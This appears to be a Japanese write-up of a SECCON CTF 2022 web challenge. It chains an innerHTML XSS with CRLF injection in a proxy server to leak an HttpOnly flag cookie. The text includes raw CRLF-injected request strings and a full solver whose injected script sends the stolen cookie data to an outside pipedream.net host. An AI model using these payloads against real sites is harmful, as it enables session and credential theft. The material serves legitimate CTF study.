- Source: SECCON CTF 2022 Quals
- Author: ark
ソースコードは全部載せるには多すぎるのでこちらを参照。
bffサーバーがクライアントとサーバーの間にあるXSS問題。
version: "3"
services:
nginx:
build: ./nginx
restart: always
ports:
- "3000:3000"
bff:
build: ./bff
restart: always
backend:
build: ./backend
restart: always
report:
build: ./report
restart: always
bot:
build: ./bot
restart: always
environment:
- FLAG=SECCON{dummydummy}
backendではexpr
クエリの値が0123456789+-*/
のみからなる時はevalして計算結果を、そうでなければクエリの値をそのまま返している。
class Root(object):
ALLOWED_CHARS = "0123456789+-*/ "
@cherrypy.expose
def default(self, *args, **kwargs):
expr = str(kwargs.get("expr", 42))
if len(expr) < 50 and all(c in self.ALLOWED_CHARS for c in expr):
return str(eval(expr))
return expr
クライアントでは返ってきた値をinnerHTMLで表示しているため、<img src=x onerror=alert(1)>
などの文字列を「計算式」として入力するとXSSが発火した。
しかし、admin botのcookieにあるflagはHttpOnlyに設定されているため、XSSでそのまま窃取することができない。
await page.setCookie({
name: "flag",
value: FLAG,
domain: APP_HOST,
path: "/",
httpOnly: true,
});
明らかに怪しいbffの実装を見てみる。なぜかHTTPリクエストを組み立て直している。
def proxy(req) -> str:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("backend", 3000))
sock.settimeout(1)
payload = ""
method = req.method
path = req.path_info
if req.query_string:
path += "?" + req.query_string
payload += f"{method} {path} HTTP/1.1\r\n"
for k, v in req.headers.items():
payload += f"{k}: {v}\r\n"
payload += "\r\n"
sock.send(payload.encode())
time.sleep(.3)
try:
data = sock.recv(4096)
body = data.split(b"\r\n\r\n", 1)[1].decode()
except (IndexError, TimeoutError) as e:
print(e)
body = str(e)
return body
ここでユーザー入力のエスケープを行っていないので、\r\n
がクエリパラメータに含まれていればCRLF InjectionによってHTTPリクエストを変形させることができる。
/api%3fexpr=1 HTTP/1.1%0d%0a%0d%0aGET /api%3fexpr=2
というリクエストを投げるとレスポンスが2つ返ってきた。これでHTTP Response Splittingができた。
この挙動を用いてレスポンスボディにcookieが含まれるようにしたい。
cookieに適当な値をセットしてPOSTメソッドのリクエストボディにCookieヘッダだったものが含まれるようにする。試行錯誤した結果、このようなリクエストを投げればexpr=
より後ろの値が返ってくることが分かった。
/api%3fexpr=1 HTTP/1.1%0d%0a%0d%0aPOST /api%0d%0aContent-Length: 300%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0aexpr=
生成されたリクエストはこうなっており、User-Agent中の;
でレスポンスが打ち切られてしまっている。
bff-1 | GET /api?expr=1 HTTP/1.1
bff-1 |
bff-1 | POST /api
bff-1 | Content-Length: 300
bff-1 | Content-Type: application/x-www-form-urlencoded
bff-1 |
bff-1 | expr= HTTP/1.1
bff-1 | Remote-Addr: 172.24.0.3
bff-1 | Remote-Host: 172.24.0.3
bff-1 | Connection: upgrade
bff-1 | Host: localhost
bff-1 | X-Real-Ip: 172.24.0.1
bff-1 | X-Forwarded-For: 172.24.0.1
bff-1 | X-Forwarded-Proto: http
bff-1 | Sec-Ch-Ua-Platform: "Windows"
bff-1 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
bff-1 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
bff-1 | Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
bff-1 | Upgrade-Insecure-Requests: 1
bff-1 | Sec-Ch-Ua-Mobile: ?0
bff-1 | Sec-Fetch-Site: same-origin
bff-1 | Sec-Fetch-Mode: navigate
bff-1 | Sec-Fetch-Dest: empty
bff-1 | Accept-Encoding: gzip, deflate, br, zstd
bff-1 | Accept-Language: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7
bff-1 | Cookie: flag=SECCON{dummydummy}
User-Agentを自分で上書きしてあげれば良さそうだが、Chromeではそれができないらしい。困った。
その後1つめのリクエストを弄っていると、/api%3fexpr=1 HTTP/1.1%0d%0aHost: a%0d%0aContent-Length: 300%0d%0a%0d%0a
でこのようなエラーが出てきた。
1HTTP/1.0 400 Bad Request
Connection: close
Content-Length: 80
Content-Type: text/plain; charset=utf-8
Date: Thu, 19 Dec 2024 11:28:11 GMT
Server: waitress
Bad Request
Malformed HTTP method "-Ch-Ua-Mobile:"
(generated by waitress)
不正なメソッド名がレスポンスに表示されるなら、Content-Lengthの長さをうまく調整してflagがメソッド名の位置になるように調整することでレスポンスにflagを含ませることができる。
/?hoge
という名前のcookieにfuga HTTP/1.1
という値をセットすることで、HTTPリクエストがCookie: flag=SECCON{dummydummy}; /?hoge=fuga HTTP/1.1
のように形成され、Cookie:
までが1つめのリクエストとなるようにContent-Lengthを調整すればメソッドに相当する部分がflagになる。
と、ここまでやってsolverを書こうとしたが、なぜか思った通りにならなかったので作問者writeupを見た。どうやらヘッダのエンコード方式を考慮しないといけないらしい。
ということで、改めて公式solverを参考にしつつsolverを書いてみる。
const encode = (bs) => {
// ref. https://www.rfc-editor.org/rfc/rfc2047.html#section-2
const charset = "iso-8859-1";
const encoding = "q";
const encoded_text = Array.from(Buffer.from(bs))
.map((x) => "=" + Buffer.from([x]).toString("hex"))
.join("");
return `=?${charset}?${encoding}?${encoded_text}?=`;
};
const exploit = async (contentLength) => {
const header = encode(`bbb\r\nContent-Length: ${contentLength}\r\n`);
const js = `
const f = async () => {
document.cookie = '/?hoge=fuga HTTP/1.1';
const res = await fetch('/api?expr=1', {
headers: {
'aaa': '${header}',
},
});
location = 'https://xxxxxxxx.m.pipedream.net?a=' + encodeURIComponent(await res.text());
};
f();
`.replaceAll("\n", "");
const payload = `<img src=x onerror="${js}">`;
const res = await (
await fetch("http://localhost:3000/report", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
expr: payload,
}),
})
).text();
console.log(contentLength, res); // progress
};
for (let i = 100; i < 500; i+=10) {
exploit(i)
await new Promise((r) => setTimeout(r, 30000)); // sleep 30s
}
contentLength
はおそらく未知で、reportは30秒に1回しか呼べないので総当たりは一見厳しそう。しかし、flag=SECCON
の10文字は省略されてしまっても良い。10文字ごとに調べれば100から500まで全て調べても20分で済む。
と思ったら意外と早く、contentLength
が120の時にflagが降ってきた。
SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}